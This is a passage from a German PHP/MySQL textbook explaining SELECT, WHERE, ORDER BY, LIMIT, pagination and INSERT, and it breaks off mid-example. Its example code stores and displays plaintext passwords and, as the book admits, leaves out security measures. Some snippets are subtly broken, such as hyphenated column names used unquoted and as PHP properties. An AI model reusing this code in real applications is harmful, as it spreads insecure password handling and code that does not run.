            Im obigen Beispiel werden lediglich die Spalten Vor- und Nachname (und immer noch sämtliche Datensätze) abgefragt. Dies stellt in der Regel die bessere Variante dar, denn sich immer alle Informationen vom Datenbankserver zu holen und diese dann gar nicht zu benötigen, ist normalerweise wenig sinnvoll. Fragen Sie also immer nur diejenigen Informationen aus einer Tabelle ab, an denen Sie auch tatsächlich interessiert sind (siehe Tabelle 12.7).

            
                
                    
                        	
                            Vorname

                        
                        	
                            Nachname

                        
                    

                
                
                    
                        	
                            Uwe

                        
                        	
                            Mutz

                        
                    

                    
                        	
                            Hermann

                        
                        	
                            Maier

                        
                    

                    
                        	
                            …

                        
                        	
                            …

                        
                    

                    
                        	
                            Hubert

                        
                        	
                            Huber

                        
                    

                
            

            Tabelle 12.7    
            Nur die Spalten »Vorname« und »Nachname« werden aus der Tabelle gelesen.

            
                [»]  Spaltennamen umbenennen

                Die vom Datenbankserver abgefragten Spaltennamen können in der Ergebnismenge (den Datensätzen) für die weitere Verwendung auch umbenannt werden. Das ist oft hilfreich, wenn Daten aus mehreren Tabellen gleichzeitig abgefragt werden:

                SELECT Vorname AS vn, Nachname AS nn FROM tbl_user 


                Anstatt nun auf die Vorname- oder Nachname-Spalte zuzugreifen, werden die Spaltennamen vn und nn verwendet.

            

            
                Die Antwort des SELECT-Befehls

                Nachdem ein SELECT-Befehl vom Webserver an den Datenbankserver geschickt wurde, erhält man als Antwort das Ergebnis der SELECT-Anfrage zurück. Diese Antwort ist jedoch nicht sofort auslesbar, sondern muss über einen sogenannten Fetch-Befehl ausgelesen werden. Dies kann entweder zeilenweise (also Datensatz für Datensatz; MySQLi und PDO) oder als Gesamtes (nur PDO) erfolgen:

                
                    	
                        MySQLi bietet dazu folgende Befehle:

                        
                            	
                                fetch_object: Die Daten sind danach als Objekt verfügbar (übliches Vorgehen).

                            

                            	
                                fetch_assoc: Die Daten stehen als assoziatives Array zur Verfügung.

                            

                            	
                                fetch_array: Die Daten stehen als gemischt assoziatives Array bereit.

                            

                        

                    

                    	
                        PDO bietet dazu folgende Befehle:

                        
                            	
                                fetch: zeilenweises Auslesen. Die Daten stehen in der Form zur Verfügung, die bei der Verbindung definiert wurde (Objekt); übliches Vorgehen.

                            

                            	
                                fetchAll: Alle Datensätze werden auf einmal ausgelesen.

                            

                        

                    

                

                Insbesondere im Fall von PDO sind noch weitere Auslesevarianten möglich und können je nach Ihrem Geschmack verwendet werden. Üblich sind jedoch die beiden genannten Varianten.

                Erfolgt das Auslesen zeilenweise, erhält man die einzelnen Datensätze über eine for- oder while-Schleife, die so lange läuft, bis das Ende der Ergebnismenge erreicht wurde:

                MySQLi:

                $sql = "SELECT * FROM tbl_user";
$antwort = query($GLOBALS["conn"],$sql) or die("Fehler in der Query: " . ↩ $conn->error);
 
while($datensatz = $antwort->fetch_object()) {
  echo('<p>Vorname=' . $datensatz->Vorname . ', Nachname=' . ↩  
$datensatz->Nachname . '</p>');
}


                PDO:

                $sql = "SELECT * FROM tbl_user";
$antwort = $GLOBALS["conn"]->query($sql) or die("Fehler in der Query: " . ↩ $conn->error);
while($datensatz = $antwort->fetch()) {
  echo('<p>Vorname=' . $datensatz->Vorname . ', Nachname=' . ↩ 
$datensatz->Nachname . '</p>');
}


                Pro Datensatz erhalten wir dann die abgefragten Spalten der Tabelle, auf die wir über die objektorientierte Schreibweise (siehe die Pfeilchen) zugreifen können. So liefert beispielsweise $datensatz->Vorname den Wert der Vorname-Spalte des aktuellen Datensatzes. Abbildung 12.10 zeigt PDO und MySQLi im Vergleich.

                
                    [image: PDO und MySQLi liefern (natürlich) dasselbe Ergebnis, wenn es sich um die Auswertung der abgefragten Daten handelt.]

                    Abbildung 12.10    
            PDO und MySQLi liefern (natürlich) dasselbe Ergebnis, wenn es sich um die Auswertung der abgefragten Daten handelt.

                
                Auch hier gilt wieder: Packen wir die Abfragefunktion in einen Wrapper, dann könnten wir auf die Unterscheidung zwischen MySQLi und PDO verzichten. Und hätten Sie bereits mehr Kenntnisse in objektorientierter Programmierung, so könnten wir uns jetzt unsere eigene Klasse schreiben:

                function fetch(MySQLi|PDO $conn, MySQLi_Result|PDOStatement $q):mixed {
  /* erwartet:
     - $conn: ein Objekt vom Typ MySQLi oder PDO als Verbindungsobjekt
     - $q: ein Objekt vom Typ MySQLi_Result oder PDOStatement als Abfragemenge
    liefert: den nächsten noch nicht gelesenen Datensatz aus der Abfragemenge
  */
  switch(strtolower(get_class($conn))) {
  case "mysqli":
    $r = $q->fetch_object();
    break;
  default:
    $r = $q->fetch();
  }
   return $r;
}


                Hegen wir etwa den Wunsch, die Vor- und Nachnamen aller in unserer Tabelle gespeicherten Personen in Form einer ungeordneten Liste auszugeben (wie das Code-Fragment etwas weiter oben andeutet), so erhalten wir das Ergebnis aus Abbildung 12.11.

                
                    [image: Die Ausgabe aller Personen (Datensätze) aus der Tabelle »tbl_user« – nicht sortiert und ungefiltert]

                    Abbildung 12.11    
            Die Ausgabe aller Personen (Datensätze) aus der Tabelle »tbl_user« – nicht sortiert und ungefiltert

                
            
            
                Filtern von Informationen: WHERE

                Ist man jedoch nicht an sämtlichen Datensätzen interessiert, sondern nur an speziellen Datensätzen mit speziellen Inhalten, so spricht man vom Filtern und nutzt dazu den WHERE-Befehl. Durch den Einsatz von WHERE werden in der Regel nicht mehr alle Datensätze zurückgegeben, sondern nur noch diejenigen, die zur Filterung passen.

                Betrachten wir ein erstes Beispiel, in dem nach dem Nachnamen »Maier« gefiltert wird und die Felder IDUser, Vorname und Nachname abgefragt werden:

                SELECT IDUser, Vorname, Nachname FROM tbl_user
WHERE(
  Nachname="Maier"
)


                Tabelle 12.8 zeigt das Ergebnis.

                
                    
                        
                            	
                                IDUser

                            
                            	
                                Vorname

                            
                            	
                                Nachname

                            
                        

                    
                    
                        
                            	
                                2

                            
                            	
                                Hermann

                            
                            	
                                Maier

                            
                        

                        
                            	
                                6

                            
                            	
                                Sabine

                            
                            	
                                Maier

                            
                        

                    
                

                Tabelle 12.8    
            Die Datensätze mit »WHERE« einschränken

                Filter können auch miteinander kombiniert werden, wie die allgemeine Definition des WHERE-Befehls zeigt:

                ...
WHERE(
  Spalte VERGLEICH Wert AND/OR
  Spalte VERGLEICH Wert AND/OR
  ...
)
...


                
                    [»]  Klammersetzung bei WHERE

                    Die Klammersetzung im Fall von WHERE(…) ist an sich optional, aber dennoch würde ich Ihnen zu Klammern raten, da hierdurch klar abgegrenzt ist, welche SQL-Statements zum WHERE gehören.

                

                Tabelle 12.9 zeigt ein Beispiel:

                SELECT IDUser, Vorname, Nachname FROM tbl_user
WHERE(
  Nachname="Maier" AND
  Vorname="Sabine"
)


                
                    
                        
                            	
                                IDUser

                            
                            	
                                Vorname

                            
                            	
                                Nachname

                            
                        

                    
                    
                        
                            	
                                6

                            
                            	
                                Sabine

                            
                            	
                                Maier

                            
                        

                    
                

                Tabelle 12.9    
            Nur Personen mit dem Nachnamen »Maier« und dem Vornamen »Sabine« werden angefordert.

                WHERE kann mit einer Vielzahl an Vergleichsoperatoren verwendet werden, wie Tabelle 12.10 zeigt.

                
                    
                        
                            	
                                Vergleich

                            
                            	
                                Erklärung

                            
                        

                    
                    
                        
                            	
                                =

                            
                            	
                                Gleichheit

                            
                        

                        
                            	
                                <>

                            
                            	
                                Ungleichheit

                            
                        

                        
                            	
                                >

                            
                            	
                                Größer

                            
                        

                        
                            	
                                >=

                            
                            	
                                Größer-gleich

                            
                        

                        
                            	
                                <

                            
                            	
                                Kleiner

                            
                        

                        
                            	
                                <=

                            
                            	
                                Kleiner-gleich

                            
                        

                        
                            	
                                LIKE

                            
                            	
                                Vergleicht, ob ein String in einem anderen String vorkommt. Das Prozentzeichen ist ein Platzhalter für »beliebiger Text davor« oder »beliebiger Text danach«:

                                … Nachname LIKE "%müller": Der Nachname muss mit »müller« enden.

                                → Müller, Obermüller, Niedermüller, 
                                    Obermüllerin
                                

                                ... Nachname LIKE "%müller%": Im Nachnamen muss »müller« stecken.

                                → Müller, Obermüller, Niedermüller, Obermüllerin

                            
                        

                        
                            	
                                IS NULL

                            
                            	
                                überprüft, ob der Inhalt einer Spalte NULL (leer) ist:

                                … GebDatum IS NULL

                            
                        

                    
                

                Tabelle 12.10    
            Auswahl von Vergleichsmöglichkeiten in SQL

                Bei der Kombination von Filtern müssen Sie berücksichtigen, dass es auch bei diesen logischen Operationen eine Rangfolge gibt: Das AND ist stärker als das OR.

                Das folgende Beispiel zeigt dies: Wird der Filter auf diese Art angewendet, so erhalten wir sämtliche Personen, die entweder »Sabine Maier« (mit Vor- und Nachnamen) oder »Harald« (mit Vornamen und beliebigem Nachnamen heißen):

                SELECT IDUser, Vorname, Nachname FROM tbl_user
WHERE(
  Nachname="Maier" AND
  Vorname="Sabine" OR
  Vorname="Harald"
)


                
                    
                        
                            	
                                IDUser

                            
                            	
                                Vorname

                            
                            	
                                Nachname

                            
                        

                    
                    
                        
                            	
                                6

                            
                            	
                                Sabine

                            
                            	
                                Maier

                            
                        

                        
                            	
                                8

                            
                            	
                                Harald

                            
                            	
                                Maierhofer

                            
                        

                        
                            	
                                10

                            
                            	
                                Harald

                            
                            	
                                Maierhofer

                            
                        

                        
                            	
                                12

                            
                            	
                                Harald

                            
                            	
                                Obermüller

                            
                        

                    
                

                Tabelle 12.11    
            Die logische Kombination aus Vor- und Nachnamen ergibt ein eventuell unerwartetes Ergebnis.

                Würden wir hingegen mit Klammersetzung arbeiten, so würden wir sämtliche Personen erhalten, die mit Nachnamen »Maier« heißen (bzw. deren Nachmane »Maier« enthält) und die mit Vornamen entweder »Sabine« oder »Harald« heißen:

                SELECT IDUser, Vorname, Nachname FROM tbl_user
WHERE(
  Nachname="Maier" AND
  (
    Vorname="Sabine" OR
    Vorname="Harald"
  )
)


                Weil es jedoch keinen »Harald Maier« in unserer Tabelle gibt, zeigt Tabelle 12.12 nur »Sabine Maier« als Ergebnis.

                
                    
                        
                            	
                                IDUser

                            
                            	
                                Vorname

                            
                            	
                                Nachname

                            
                        

                    
                    
                        
                            	
                                6

                            
                            	
                                Sabine

                            
                            	
                                Maier

                            
                        

                    
                

                Tabelle 12.12    
            Durch die Klammersetzung wird das SQL-Statement einerseits übersichtlicher und liefert andererseits natürlich auch andere Ergebnisse als das Beispiel zuvor.

                Ein weiteres Beispiel würde wiederum sämtliche Personen liefern, deren Nachnamen entweder »Maier« lauten (oder den Bestandteil »Maier« enthalten) oder die mit Vornamen »Sabine« oder »Harald« heißen:

                SELECT IDUser, Vorname, Nachname FROM tbl_user
WHERE(
  Nachname="Maier" OR
  Vorname="Sabine" OR
  Vorname="Harald"
)


                
                    
                        
                            	
                                IDUser

                            
                            	
                                Vorname

                            
                            	
                                Nachname

                            
                        

                    
                    
                        
                            	
                                2

                            
                            	
                                Hermann

                            
                            	
                                Maier

                            
                        

                        
                            	
                                6

                            
                            	
                                Sabine

                            
                            	
                                Maier

                            
                        

                        
                            	
                                7

                            
                            	
                                Sabine

                            
                            	
                                Müller

                            
                        

                        
                            	
                                8

                            
                            	
                                Harald

                            
                            	
                                Maierhofer

                            
                        

                        
                            	
                                10

                            
                            	
                                Harald

                            
                            	
                                Maierhofer

                            
                        

                        
                            	
                                12

                            
                            	
                                Harald

                            
                            	
                                Obermüller

                            
                        

                    
                

                Tabelle 12.13    
            Identische logische Verknüpfungen (hier durch »OR«) benötigen keine Klammersetzung.

            
            
                Sortieren von Daten: ORDER BY

                In vielen Fällen möchte man die angefragten Daten auch sortiert zurückgeliefert bekommen. Mithilfe des ORDER BY-Befehls kann man angeben, nach welchen Spalten (aufsteigend oder absteigend) sortiert werden soll.

                Syntax:

                SELECT ...
FROM ...
[ WHERE (...)
[ ORDER BY Spalte1 ASC/DESC, Spalte2 ASC/DESC, ...


                Die Sortierungsmöglichkeiten sind:

                
                    	
                        ASC: ascending – aufsteigend (Standard; muss nicht angegeben werden.)

                    

                    	
                        DESC: descending – absteigend

                    

                

                
                    [Info]  Eckige Klammern in der Syntax-Erklärung

                    Die eckige Klammer [ innerhalb der Syntax-Erklärung gibt an, dass dieser Teil des Befehls nicht notwendig (also optional) ist. Einzig zu beachten ist die Reihenfolge der Befehle: Das WHERE kommt vor dem ORDER BY.

                

                Möchten Sie beispielsweise die abgefragten Daten (aufsteigend) nach dem Nachnamen sortieren, so ergäbe dies folgendes SQL-Statement:

                SELECT IDUser, Vorname, Nachname FROM tbl_user
ORDER BY Nachname ASC


                
                    
                        
                            	
                                IDUser

                            
                            	
                                Vorname

                            
                            	
                                Nachname

                            
                        

                    
                    
                        
                            	
                                15

                            
                            	
                                Sandra

                            
                            	
                                Huber

                            
                        

                        
                            	
                                16

                            
                            	
                                Hubert

                            
                            	
                                Huber

                            
                        

                        
                            	
                                5

                            
                            	
                                Markus

                            
                            	
                                Huberer

                            
                        

                        
                            	
                                2

                            
                            	
                                Hermann

                            
                            	
                                Maier

                            
                        

                        
                            	
                                6

                            
                            	
                                Sabine

                            
                            	
                                Maier

                            
                        

                        
                            	
                                8

                            
                            	
                                Harald

                            
                            	
                                Maierhofer

                            
                        

                        
                            	
                                10

                            
                            	
                                Harald

                            
                            	
                                Maierhofer

                            
                        

                        
                            	
                                ...

                            
                            	
                                …

                            
                            	
                                …

                            
                        

                    
                

                Tabelle 12.14    
            Sortierung von Daten nach dem Nachnamen (aufsteigend)

                Möchten Sie nach Nach- und Vornamen aufsteigend sortieren, so wären wir bei diesem SQL-Statement:

                SELECT IDUser, Vorname, Nachname FROM tbl_user
ORDER BY Nachname ASC, Vorname ASC


                
                    
                        
                            	
                                IDUser

                            
                            	
                                Vorname

                            
                            	
                                Nachname

                            
                        

                    
                    
                        
                            	
                                16

                            
                            	
                                Hubert

                            
                            	
                                Huber

                            
                        

                        
                            	
                                15

                            
                            	
                                Sandra

                            
                            	
                                Huber

                            
                        

                        
                            	
                                5

                            
                            	
                                Markus

                            
                            	
                                Huberer

                            
                        

                        
                            	
                                2

                            
                            	
                                Hermann

                            
                            	
                                Maier

                            
                        

                        
                            	
                                6

                            
                            	
                                Sabine

                            
                            	
                                Maier

                            
                        

                        
                            	
                                8

                            
                            	
                                Harald

                            
                            	
                                Maierhofer

                            
                        

                        
                            	
                                10

                            
                            	
                                Harald

                            
                            	
                                Maierhofer

                            
                        

                        
                            	
                                ...

                            
                            	
                                …

                            
                            	
                                …

                            
                        

                    
                

                Tabelle 12.15    
            Sortierung nach Nach- und Vornamen (beide aufsteigend): Lediglich bei Hubert und Sabine Huber ergibt sich in diesem Fall eine Änderung.

                Es ist auch möglich, nach Spalten sortieren, die gar nicht in den abgefragten Daten vorkommen, wie das folgende Beispiel zeigt:

                SELECT IDUser, Vorname, Nachname FROM tbl_user
ORDER BY GebDatum ASC


            
            
                Datensätze in der Anzahl einschränken: LIMIT

                Mithilfe des LIMIT-Befehls können die (gegebenenfalls gefilterten und/oder sortierten) Daten in ihrer Menge einschränkt werden. Sinnvoll ist das immer dann, wenn man die Daten häppchenweise verarbeiten möchte – also beispielsweise immer 20 Datensätze auf einmal.

                Syntax:

                SELECT ... FROM ...
[ WHERE(...)
[ ORDER BY...
[ LIMIT Anzahl


                oder:

                SELECT ... FROM ...
[ WHERE(...)
[ ORDER BY...
[ LIMIT Start-Datensatz, Anzahl


                Im ersten Fall werden die ersten x Datensätze (LIMIT x) abgefragt, im zweiten Fall sind es x Datensätze ab Datensatz y (LIMIT x,y, wobei die Zählung der Datensätze bei 0 beginnt). Sehen wir uns nun ein paar Beispiele für den LIMIT-Befehl an.

                
                    [zB]  Beispiel 1

                    Es werden die ersten 3 Datensätze aus der Tabelle tbl_user abgefragt:

                    SELECT IDUser, Vorname, Nachname FROM tbl_user LIMIT 3 


                    
                        
                            
                                	
                                    IDUser

                                
                                	
                                    Vorname

                                
                                	
                                    Nachname

                                
                            

                        
                        
                            
                                	
                                    1

                                
                                	
                                    Uwe

                                
                                	
                                    Mutz

                                
                            

                            
                                	
                                    2

                                
                                	
                                    Hermann

                                
                                	
                                    Maier

                                
                            

                            
                                	
                                    5

                                
                                	
                                    Markus

                                
                                	
                                    Huberer

                                
                            

                        
                    

                    Tabelle 12.16    
            Die ersten drei Datensätze aus unserer Beispieltabelle

                

                
                    [zB]  Beispiel 2

                    Es werden 5 Datensätze ab Datensatz 2 abgefragt. Beachten Sie bitte, dass die Zählung bei null beginnt und es sich somit eigentlich um den dritten Datensatz handelt.

                    SELECT E-Mail-Adresse, Vorname, Nachname FROM tbl_user LIMIT 2,5 


                    
                        
                            
                                	
                                    E-Mail-Adresse

                                
                                	
                                    Vorname

                                
                                	
                                    Nachname

                                
                            

                        
                        
                            
                                	
                                    test2@test.at

                                
                                	
                                    Markus

                                
                                	
                                    Huberer

                                
                            

                            
                                	
                                    test3@test.at

                                
                                	
                                    Sabine

                                
                                	
                                    Maier

                                
                            

                            
                                	
                                    test4@test.at

                                
                                	
                                    Sabine

                                
                                	
                                    Müller

                                
                            

                            
                                	
                                    test5@test.at

                                
                                	
                                    Harald

                                
                                	
                                    Maierhofer

                                
                            

                            
                                	
                                    test6@test.at

                                
                                	
                                    Harald

                                
                                	
                                    Maierhofer

                                
                            

                        
                    

                    Tabelle 12.17    
            Die Datensätze 2, 3, 4, 5 und 6 aus unserer Beispieltabelle

                

                
                    [»]  Mehr Datensätze angefordert als vorhanden?

                    Fordern Sie mehr Datensätze an, als vorhanden sind, so erzeugt dies auf der Datenbankseite keinen Fehler. Vielmehr liefert der Datenbankserver nur so viele Datensätze zurück, wie er auch zurückliefern kann.

                

                Auswirkungen auf die Performance hat der LIMIT-Befehl keine, da die Daten auf dem Datenbankserver ja bereits ausgewählt und vorbereitet waren. Wenden wir uns einem ersten Anwendungsbeispiel zu, in dem das SELECT-Statement in all seinen Facetten zum Einsatz kommt.

                
                    [zB]  Datensätze mit Blätterfunktion darstellen

                    Das Ziel des Beispiels ist es, den Inhalt einer Tabelle nicht als Gesamtes auf einer Website auszugeben, sondern immer nur fünf Datensätze auf einmal, wobei dann zu den nächsten Datensätzen geblättert werden kann.

                    In diesem Beispiel werde ich auf die Datenbankverbindung über unsere Verbindungsdatei includes/conn.inc.php zurückgreifen, wobei ich für die Datenbankverbindung (in includes/config.inc.php) PDO verwende. Beide Dateien wurden im einführenden Teil von Abschnitt 12.5 ausführlich erklärt. Wir gehen also davon aus, dass nach dem Aufruf von $GLOBALS["conn"] = dbconnect(); in $GLOBALS["conn"] ein Verbindungsobjekt bereitsteht, das wir verwenden können. Weiters setzen wir voraus, dass es eine Funktion fetch gibt, mit deren Hilfe wir einen noch nicht gelesenen Datensatz aus der Menge der angefragten Datensätze ermitteln können.

                    Wie bereits erwähnt, ist es in diesem Stadium der Entwicklung völlig unerheblich, ob der Zugriff mittels MySQLi oder PDO erfolgt. Aktuell achten wir auch noch nicht auf eventuelle Sicherheitsprobleme. Denen widmen wir uns in Kapitel 13.

                    Um die in der Tabelle gespeicherten Datensätze in Form einer Tabelle auszugeben, ist zunächst folgender Code erforderlich:

                    <?php
require("../../includes/config.inc.php");
require("../../includes/common.inc.php");
require("../../includes/conn.inc.php");
$GLOBALS["conn"] = dbconnect();
?> 


                    <!DOCTYPE html>
<html lang="de">
<head>
<meta charset="UTF-8">
<title>Anwendungsbeispiel</title>
</head>

<body>
  <table>
    <thead>
      <tr>
        <th scope="col">ID</th>
        <th scope="col">E-Mail-Adresse</th>
        <th scope="col">Passwort</th>
        <th scope="col">Vorname</th>
        <th scope="col">Nachname</th>
        <th scope="col">Geb.-Datum</th>
        <th scope="col">Reg.-Zeitpunkt</th>
      </tr>
    </thead>
... <tbody> 


                          <?php
      $sql = "SELECT * FROM tbl_user";
      $userliste = query($GLOBALS["conn"],$sql);
      while($user = fetch($GLOBALS["conn"],$userliste)) {
        echo('
          <tr>
            <td>' . $user->IDUser . '</td>
            <td>' . $user->E-Mail-Adresse . '</td>
            <td>' . $user->Passwort . '</td>
            <td>' . $user->Vorname . '</td>
            <td>' . $user->Nachname . '</td>
            <td>' . (!is_null($user->GebDatum) ? ↩ date("j.n.Y",strtotime($user->GebDatum)) : "-") . '</td>
            <td>' . date("j.n.Y, H:i",strtotime($user->RegZeitpunkt)) . ↩  
' Uhr</td>
          </tr>
        ');
    }
    ?> 


                        </tbody>
  </table>
</body>
</html> 


                    Zunächst wird also eine Verbindung zum Datenbankserver hergestellt. Danach werden aus der Tabelle tbl_user (derzeit noch) alle Datensätze abgefragt und mithilfe der while-Schleife ausgegeben. Das Ergebnis in Abbildung 12.12 wurde ein wenig mit CSS formatiert.

                    
                        [image: Die Datensätze unserer Beispieltabelle werden gesammelt ausgegeben.]

                        Abbildung 12.12    
            Die Datensätze unserer Beispieltabelle werden gesammelt ausgegeben.

                    
                    Die Datensätze werden also unsortiert, ungefiltert und uneingeschränkt in der Anzahl der Datensätze ausgegeben.

                

                
                    [»]  Die date- und die strtotime-Funktionen

                    Mithilfe der date-Funktion ist es möglich, das Ausgabeformat eines Datums zu bestimmen. Beispielsweise erzeugt das Format j.n.Y eine Ausgabe eines Datum in der Form 3.11.2007 (und nicht 03.11.2007) oder 23.4.2023 (und nicht 23.04.2023). Dazu muss das eingelesene Datum jedoch erst einmal von einem String in einen Zeitstempel (Timestamp) umgewandelt werden, was wiederum die Funktion strtotime erledigt. Es empfiehlt sich, einen Blick in die PHP-Dokumentation zu werfen.

                    
                        	
                            date: https://www.php.net/manual/en/function.date

                        

                        	
                            strtotime: https://www.php.net/manual/de/function.strtotime.php

                        

                    

                    Weiter im Kontext:

                    In weiterer Folge soll es jedoch möglich sein, nicht alle Datensätze auf einmal anzuzeigen und zwischen den Seiten (z. B. fünf Datensätze je Seite) zu blättern. Hierzu muss man die Anzahl der Datensätze ermitteln, die Anzahl der gleichzeitig anzuzeigenden Datensätze festlegen, die Anzahl der sich so ergebenden Seiten berechnen und sich die aktuell dargestellte Seite merken:

                    
                        	
                            Anzahl der Datensätze gesamt: Hierzu nutzen wir die SQL-Funktion COUNT, die die angeforderten Datensätze nicht als solche zurückliefert, sondern nur ihre Anzahl:
SELECT COUNT(*) AS anzahl FROM tbl_user

                        

                        	
                            Anzahl der anzuzeigenden Datensätze: Diese werden in einer Variable festgelegt, z. B.:
$anzDS = 5;

                        

                        	
                            Anzahl der Seiten: Wir dividieren die Anzahl der Datensätze durch die Anzahl der anzuzeigenden Datensätze und runden auf:
$anzahlSeiten = ceil($gesamtanzahlDS/$anzDS);

                        

                        	
                            aktuelle Seite: Diese definieren wir (vorerst) als fixe Variable:
$aktuelleSeite = 1;

                        

                    

                    Aus diesen Überlegungen ergibt sich folgende Erweiterung unseres PHP-Codes, den man nach der Zeile zum Verbindungsaufbau einfügt:

                    <?php
...
$GLOBALS["conn"] = dbconnect();
$anzDS = 5; //gibt die Anzahl der Datensätze pro Seite an
$aktuelleSeite = 1; //nimmt an, dass die erste Seite angezeigt werden soll
$sql = "SELECT COUNT(*) AS anzahl FROM tbl_user ";
$daten = query($GLOBALS["conn"],$sql);
$zeile = fetch($GLOBALS["conn"],$daten);
$gesamtanzahlDS = $zeile->anzahl;
$anzahlSeiten = ceil($gesamtanzahlDS/$anzDS); //ceil() rundet auf
...
?> 


                    Haben wir also die Anzahl der Seiten sowie die aktuelle Seite, so können wir das ursprünglich verwendete SQL-Statement zum Abfragen der Datensätze aus der Tabelle wie folgt erweitern:

                    $sql = "
  SELECT * FROM tbl_user
  LIMIT " . $anzDS*($aktuelleSeite-1) . "," . $anzDS . "
"; 


                    Jetzt würden bereits nur noch die ersten fünf Datensätze angezeigt werden. Tipp: Sollten Sie das Beispiel ausprobieren wollen, so können Sie im PHP-Code die Variable $aktuelleSeite erhöhen oder verringern, um das Ergebnis direkt nachverfolgen zu können (z. B. könnten Sie $aktuelleSeite = 2; schreiben und die zweiten fünf Datensätze sehen).

                    
                        [image: Schränkt man die Anzahl der Datensätze mit »LIMIT« ein, so können auch nur diese Datensätze ausgegeben werden.]

                        Abbildung 12.13    
            Schränkt man die Anzahl der Datensätze mit »LIMIT« ein, so können auch nur diese Datensätze ausgegeben werden.

                    
                    Um nun zwischen den Datensätzen blättern zu können, erzeugen wir im HTML zwei Buttons samt Beschriftung der aktuellen und der maximalen Anzahl an Seiten wie folgt:

                    <form method="post" class="dsnav">
  <button type="submit" value="-1" name="dir">&lsaquo;</button>
  Seite <?php echo($aktuelleSeite); ?> von <?php echo($anzahlSeiten); ?>
  <button type="submit" value="1" name="dir">&rsaquo;</button>
</form> 


                    Wie Sie im obigen Code sehen, erhalten die beiden Submit-Buttons jeweils denselben Namen (dir), jedoch unterschiedliche Werte. An dieser Stelle darf ich daran erinnern, dass in den Formulardaten nur derjenige Wert übertragen wird, der zum geklickten Button gehört:

                    
                        	
                            Wird der erste Button geklickt, so erscheint in den POST-Daten der Eintrag dir => -1.

                        

                        	
                            Wird hingegen der zweite Button geklickt, erscheint dir => 1.

                        

                    

                    Somit übergeben wir an den Server also mithilfe von POST-Daten die Information, ob der User die vorige Seite sehen möchte (dir=-1: »Blättere eine Seite zurück«) oder die nächste Seite (dir=1: »Blättere eine Seite weiter«).

                    Sollte das Blättern möglich sein, so wird der Wert des Feldes $aktuelleSeite verändert. Möglich ist das Blättern dann, wenn die neue Seite weder über die maximale Anzahl an Seiten hinausschießt noch kleiner als 1 (»erste Seite«) wird.

                    ...
$anzahlSeiten = ceil($gesamtanzahlDS/$anzDS); //ceil() rundet auf

if(count($_POST)>0) {
  $aktuelleSeiteCl = intval($_POST["aktuelleSeiteCl"]); 
  //die Seite, die aktuell auf dem Client angezeigt wird
  $aktuelleSeite = $aktuelleSeiteCl>0 && $aktuelleSeiteCl<=$anzahlSeiten ? $aktuelleSeiteCl : 1; //stellt sicher, dass von der Clientseite keine 
//falsche Information übergeben wurde
  $neueSeite = $aktuelleSeite + intval($_POST["dir"]);
  if($neueSeite<=$anzahlSeiten && $neueSeite>0) {
    $aktuelleSeite = $neueSeite;
  }
}
... 


                    
                        [image: Wir haben uns eine Blätterfunktion für unsere Datensätze geschaffen und dabei auch noch darauf geachtet, dass von der Clientseite keine falschen Informationen eintrudeln. Ein erster Weg in Richtung Sicherheit.]

                        Abbildung 12.14    
            Wir haben uns eine Blätterfunktion für unsere Datensätze geschaffen und dabei auch noch darauf geachtet, dass von der Clientseite keine falschen Informationen eintrudeln. Ein erster Weg in Richtung Sicherheit.

                    
                    Der Code ist wie üblich im Downloadbereich des Buches zu finden. Bitte beachten Sie, dass dieser Code noch keinerlei Security-relevanten Themen beinhaltet und deshalb in der Praxis so nicht eingesetzt werden sollte.

                

            
        
        
            12.6.3    Das Einfügen neuer Datensätze: INSERT

            Unweigerlich wird es im Laufe der Programmierung notwendig, nicht nur bestehende Datensätze auszulesen, sondern auch neue Datensätze einzufügen. Denken Sie beispielsweise an ein Registrierungsformular auf einer Website, auf der sich neue User registrieren können sollen. Aus Sicht von SQL wird hierzu der INSERT-Befehl benötigt, der dazu dient, einen oder mehrere neue Datensätze in eine bestimmte Tabelle einzufügen. Dabei kann (und soll) angegeben werden, in welche Spalten neue Werte eingefügt werden sollen. Beim Einfügen neuer Datensätze müssen nicht alle Spalten einer Tabelle beschrieben werden, da manche Spalten entweder von der Datenbank selbst ausgefüllt werden (Standardwerte, Auto-Increment o. Ä.) oder nicht ausgefüllt werden müssen (etwa solche, die NULL sein dürfen).

            Die Syntax des Befehls ist wie folgt:

            INSERT INTO Tabellenname (Spalte1, Spalte2, Spalte3, ...)
VALUES (Wert1, Wert2, Wert3, ...)[, (Wert1b, Wert2b, Wert3b, ...)


            Im folgenden Beispiel soll in die bestehende Tabelle tbl_user (unsere Beispieltabelle) ein neuer User mit E-Mail-Adresse, Passwort und Vorname eingetragen und somit ein neuer Datensatz in die Tabelle geschrieben werden:

            INSERT INTO tbl_user (E-Mail-Adresse, Passwort, Vorname)
VALUES ("test6@test.at","testinger","Herbert")


            Beachten Sie: Spalten, die als NOT NULL gekennzeichnet sind, müssen einen Wert erhalten (entweder durch das INSERT-Statement oder durch die Datenbank selbst). Ansonsten liefert der DB-Server einen entsprechenden Fehler zurück.

            Das zweite Beispiel zeigt, wie in unsere Beispieltabelle tbl_user zwei neue Datensätze geschrieben werden. Pro Datensatz werden dabei die Spalten E-Mail-Adresse, Passwort und Vorname geschrieben. Die Spalten IDUser und RegZeitpunkt werden von der Datenbank befüllt (einerseits mit einem Auto-Increment im Falle von IDUser, andererseits mit dem aktuellen Timestamp im Falle von RegZeitpunkt). Die Spalten Nachname und GebDatum werden mit einem NULL beschrieben.

            INSERT INTO tbl_user (E-Mail-Adresse, Passwort, Vorname)
VALUES
  ("test23@test.at","test36","Harald"),
  ("test24@test.at","38947","Sabine")


            Beachten Sie: Sollte jemand versuchen, Daten einzutragen, die nicht erlaubt sind (z. B. Spaltenwerte, die als UNIQUE gekennzeichnet sind und dann doppelt vorkommen würden), so liefert der DB-Server einen entsprechenden Fehler zurück.

            
                [zB]  Ein sehr einfacher Registrierungsprozess

                Bei diesem Registrierungsprozess soll darauf geachtet werden, dass nur E-Mail-Adressen eingetragen werden können, die in der Tabelle tbl_user noch nicht existieren. Dies erreicht man dadurch, indem man zunächst ein SELECT-Statement an den DB-Server schickt, das alle User mit der eingegebenen E-Mail-Adresse abzählt. Weil die E‐Mail-Adresse als UNIQUE angegeben ist, kann das Ergebnis entweder ein Datensatz sein (d. h., die E-Mail-Adresse existiert bereits) oder kein Datensatz (d. h., die E-Mail-Adresse existiert noch nicht). Um zu ermitteln, wie viele Datensätze vom DB-Server zurückgeliefert werden, setzen wir erneut die COUNT-Funktion auf dem Datenbankserver ein:

                <?php
require("../../includes/config.inc.php");
require("../../includes/common.inc.php");
require("../../includes/conn.inc.php");
$msg = "";
if(count($_POST)>0) {
  $GLOBALS["conn"] = dbconnect();
